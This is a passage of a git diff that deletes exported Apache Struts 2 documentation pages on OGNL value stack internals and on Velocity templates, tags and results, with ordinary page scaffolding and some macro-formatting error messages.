-<p> [ model, action ]</p>
-
-<p> here's how the following ognl would resolve:</p>
-
-<p> [0] - a CompoundRoot object that contains our stack, [model, action]</p>
-
-<p> [1] - another CompoundRoot that contains only [action]</p>
-
-<p> [0].toString() - calls toString() on the first object in the value <br clear="none">
- stack (excluding the CompoundRoot) that supports the toString() method</p>
-
-<p> [1].foo - call getFoo() on the first object in the value stack <br clear="none">
- starting from [OS:action] and excluding the CompoundRoot that supports a <br clear="none">
- getFoo() method</p>
-
-<p> I hope this doesn't sound too confusing :\</p>
-
-<p> If you're using Velocity, this can most easily be written as:</p>
-
-<p> $stack.findValue("[0]").peek()</p>
-
-<p> Unfortunately, &lt;ww:property value="[0].peek()"/&gt; won't work as this <br clear="none">
- would translate into "starting at the top of the value stack (and <br clear="none">
- excluding the CompoundRoot), find the first object that has a method <br clear="none">
- called peek()"</p>
-
-<p>--------thanks Matt!</p>
-
-<p>here is the com.opensymphony.xwork.util.CompoundRoot class which Matt mentions:</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-public class CompoundRoot extends ArrayList {
-    //~ Constructors ///////////////////////////////////////////////////////////
-
-    public CompoundRoot() {
-    }
-
-    public CompoundRoot(List list) {
-        super(list);
-    }
-
-    //~ Methods ////////////////////////////////////////////////////////////////
-
-    public CompoundRoot cutStack(int index) {
-        return new CompoundRoot(subList(index, size()));
-    }
-
-    public Object peek() {
-        return get(0);
-    }
-
-    public Object pop() {
-        return remove(0);
-    }
-
-    public void push(Object o) {
-        add(0, o);
-    }
-}
-</pre>
-</div></div>
-<h3 id="ValueStackInternals-What'sonthestack?">What's on the stack?</h3>
-
-<p>NOTE: When rendering Freemarker / Velocity templates or result,<br clear="none">
-WebWork2 contains the following items by default in the ValueStack:</p>
-
-<ul><li>req - the current HttpServletRequest</li><li>res - the current HttpServletResponse</li><li>stack - the current OgnlValueStack</li><li>ognl - an instance of OgnlTool</li><li>ui - a (now deprecated) instance of a ui tag renderer</li></ul>
-
-
-<p>@See com.opensymphony.webwork.views.util.ContextUtil</p></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/velocity-result.html b/content/docs/velocity-result.html
deleted file mode 100644
index bbb5840..0000000
--- a/content/docs/velocity-result.html
+++ /dev/null
@@ -1,161 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Velocity Result</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="core-developers-guide.html">Core Developers Guide</a>&nbsp;&gt;&nbsp;<a href="result-types.html">Result Types</a>&nbsp;&gt;&nbsp;<a href="velocity-result.html">Velocity Result</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Velocity Result</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14169">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14169">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14169">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14169">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14169">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14169">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent">
-<div class="error"><span class="error">Error formatting macro: snippet: java.lang.IndexOutOfBoundsException: Index: 20, Size: 20</span> </div>
-
-<h1 id="VelocityResult-Parameters">Parameters</h1>
-
-<div class="error"><span class="error">Error formatting macro: snippet: java.lang.IndexOutOfBoundsException: Index: 20, Size: 20</span> </div>
-
-<h1 id="VelocityResult-Examples">Examples</h1>
-
-<div class="error"><span class="error">Error formatting macro: snippet: java.lang.IndexOutOfBoundsException: Index: 20, Size: 20</span> </div></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/velocity-tags.html b/content/docs/velocity-tags.html
deleted file mode 100644
index 40514a4..0000000
--- a/content/docs/velocity-tags.html
+++ /dev/null
@@ -1,177 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Velocity Tags</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="tag-developers-guide.html">Tag Developers Guide</a>&nbsp;&gt;&nbsp;<a href="velocity-tags.html">Velocity Tags</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Velocity Tags</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13950">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13950">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13950">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13950">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13950">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13950">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p>Velocity tags are extensions of the generic <a shape="rect" href="struts-tags.html">Struts Tags</a> provided by the framework. You can get jump right in just by knowing the structure in which the tags can be accessed: <strong>#s*</strong><span style="color: blue;"><strong>tag</strong></span> <strong>*(...) ... #end</strong>, where <span style="color: blue;"><strong>tag</strong></span> is any of the <a shape="rect" href="struts-tags.html">Struts  [...]
-
-<p>For example, in JSP you might create a form using Struts tags.</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>JSP Form</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">
-&lt;s:form action="updatePerson"&gt;
-    &lt;s:textfield label="First name" name="firstName"/&gt;
-    &lt;s:submit value="Update"/&gt;
-&lt;/s:form&gt;
-</pre>
-</div></div>
-<p>In Velocity, the same form can also be built using macros.</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>VM Form</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">
-#sform ("action=updatePerson")
-    #stextfield ("label=First name" "name=firstName")
-    #ssubmit ("value=Update")
-#end
-</pre>
-</div></div>
-
-<h2 id="VelocityTags-BlockandInlineTags">Block and Inline Tags</h2>
-
-<p>Some VM tags require an #end statement while others do not. The inconsistency arises from a limitation in Velocity where tags must declare if they are a <em>block</em> or <em>inline</em> tag up front. As such, by default all tags are <em>inline</em> except for a few key ones, such as the <a shape="rect" href="form.html">form</a> tag.</p>
-
-<h2 id="VelocityTags-BackTo:">Back To: <a shape="rect" href="tag-developers-guide.html">Tag Developers Guide</a></h2></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/velocity.html b/content/docs/velocity.html
deleted file mode 100644
index c578524..0000000
--- a/content/docs/velocity.html
+++ /dev/null
@@ -1,228 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Velocity</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="tag-developers-guide.html">Tag Developers Guide</a>&nbsp;&gt;&nbsp;<a href="velocity.html">Velocity</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Velocity</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13894">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13894">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13894">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13894">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13894">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13894">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p>Velocity is a templating language for Java.</p>
-
-<p>For more information on Velocity itself, please visit the <a shape="rect" class="external-link" href="http://velocity.apache.org/">Velocity website</a>.</p>
-<div class="confluence-information-macro confluence-information-macro-information"><span class="aui-icon aui-icon-small aui-iconfont-info confluence-information-macro-icon"></span><div class="confluence-information-macro-body"><p>Velocity is similar to <a shape="rect" href="freemarker.html">FreeMarker</a>, as both are template languages that can be used outside of a Servlet container. The framework uses FreeMarker internally since it has better error reporting. Developers may also like t [...]
-
-<h2 id="Velocity-GettingStarted">Getting Started</h2>
-
-<p>Getting started with Velocity is as simple as ensuring all the dependencies are included in your project's classpath. Other than that, <a shape="rect" href="struts-defaultxml.html">struts-default.xml</a> already configures the <a shape="rect" href="velocity-result.html">Velocity Result</a>.</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>struts.xml</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">
-&lt;action name="test" class="com.acme.TestAction"&gt;
-    &lt;result name="success" type="velocity"&gt;test-success.vm&lt;/result&gt;
-&lt;/action&gt;
-</pre>
-</div></div>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>test-success.vm</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">
-&lt;html&gt;
-&lt;head&gt;
-    &lt;title&gt;Hello&lt;/title&gt;
-&lt;/head&gt;
-&lt;body&gt;
-
-Hello, ${name}
-
-&lt;/body&gt;
-&lt;/html&gt;
-</pre>
-</div></div>
-<p>Where <code>name</code> is a property on the Action class. That's it!</p>
-
-<p>There are few more details of interest, such as how templates are loaded and variables are resolved.</p>
-
-<h2 id="Velocity-TemplateLoading">Template Loading</h2>
-
-<p>The framework looks for Velocity templates in two locations (in this order):</p>
-<ol><li>Web application</li><li>Class path</li></ol>
-
-
-<p>The ordering is designed so that a default set of templates can be placed in a JAR (perhaps shared between applications). If a template needs to be overridden, a different version can be placed in the web application.</p>
-<div class="confluence-information-macro confluence-information-macro-tip"><p class="title">Just the JARs, Ma'am</p><span class="aui-icon aui-icon-small aui-iconfont-approve confluence-information-macro-icon"></span><div class="confluence-information-macro-body">
-<p>Unlike JSPs, templates can be loaded from a JAR. Templates are a great way to support "plugins", since the entire module can be delivered in a single JAR, and the views easily customized by the host application.</p></div></div>
-
-<h2 id="Velocity-VariableResolution">Variable Resolution</h2>
-
-<p>In Velocity, there are three sources for variables, searched in a specific order.</p>
-<ol><li>The value stack</li><li>The action context</li><li>Built-in variables</li></ol>
-
-
-<p>Since the action context is resolved after the value stack, you can reference the variable without the typical preceding marker (#) that has to be used with the JSP <code>s:property</code> tag. Omitting the marker can be convenient, but it can also trip you up, if used carelessly.</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">
-#surl "id=url" "value=http://www.yahoo.com"
-Click &lt;a href="${url}"&gt;here&lt;/a&gt;!
-</pre>
-</div></div>
-<p>The Stuts2-Velocity integration layer provides several implicit variables.</p>
-<div class="table-wrap"><table class="confluenceTable"><tbody><tr><th colspan="1" rowspan="1" class="confluenceTh"><p> Variable </p></th><th colspan="1" rowspan="1" class="confluenceTh"><p> Description </p></th></tr><tr><td colspan="1" rowspan="1" class="confluenceTd"><p> stack </p></td><td colspan="1" rowspan="1" class="confluenceTd"><p> The value stack itself, useful for calls like ${stack.findString('ognl expr')} </p></td></tr><tr><td colspan="1" rowspan="1" class="confluenceTd"><p> a [...]
-
-
-<h2 id="Velocity-ConfiguringVelocity">Configuring Velocity</h2>
-
-<p>You can configure Velocity by placing configuration items in <a shape="rect" href="velocityproperties.html">velocity.properties</a>.</p>
-
-<h2 id="Velocity-Next:">Next: <a shape="rect" href="velocity-tags.html">Velocity Tags</a></h2></div>
-        </div>
-
-                    <div class="tabletitle">
-                Children
-            <span class="smalltext" id="show" style="display: inline;">
-              <a href="javascript:showChildren()">Show Children</a></span>
-            <span class="smalltext" id="hide" style="display: none;">
-              <a href="javascript:hideChildren()">Hide Children</a></span>
-            </div>
-            <div class="greybox" id="children" style="display: none;">
-                                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                            </div>
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/velocityproperties.html b/content/docs/velocityproperties.html
deleted file mode 100644
index 9d45d0d..0000000
--- a/content/docs/velocityproperties.html
+++ /dev/null
@@ -1,160 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
